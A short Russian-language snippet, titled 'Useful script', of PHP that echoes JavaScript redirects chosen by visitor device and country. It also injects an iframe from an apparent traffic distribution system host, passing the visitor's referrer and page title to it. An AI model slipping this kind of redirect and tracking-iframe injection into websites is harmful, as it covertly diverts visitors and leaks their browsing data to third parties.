Полезный скрипт

<?php
//http://itfound.ru/137-apache-ne-vidit-realniy-ip.html

if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
    echo json_encode('<script language="JavaScript">
    window.location.href = "http://tut.by"
    </script>');
} elseif ($country == 'RU') {
    echo json_encode('<script language="JavaScript">
    window.location.href = "https://rbc.ru"
        </script>');
} else {
    echo json_encode('<script language="JavaScript">
    window.location.href = "https://lenta.ru"
</script>');
}
?>

<?php
if ($save_device == 'Mobile' OR $save_device == 'Tablet') {
echo json_encode('мобайл');
} else {
echo json_encode('<script type="text/javascript">(function(){var d=document;var w=240;var h=300;var t=d.createElement(\'script\');var id = Math.floor(Math.random()*9999);var src = \'http://tds.ru/xxxf\';src = src + \'?se_referrer=\'+document.referrer;src = src + \'&default_keyword=\'+document.title;src = src + \'&r=\'+id;d.write(\'<iframe style="padding:0px;border:none" src="\' + src + \'" width="\'+w+\'" height="\'+h+\'"></iframe>\');})();</script>');
}
?>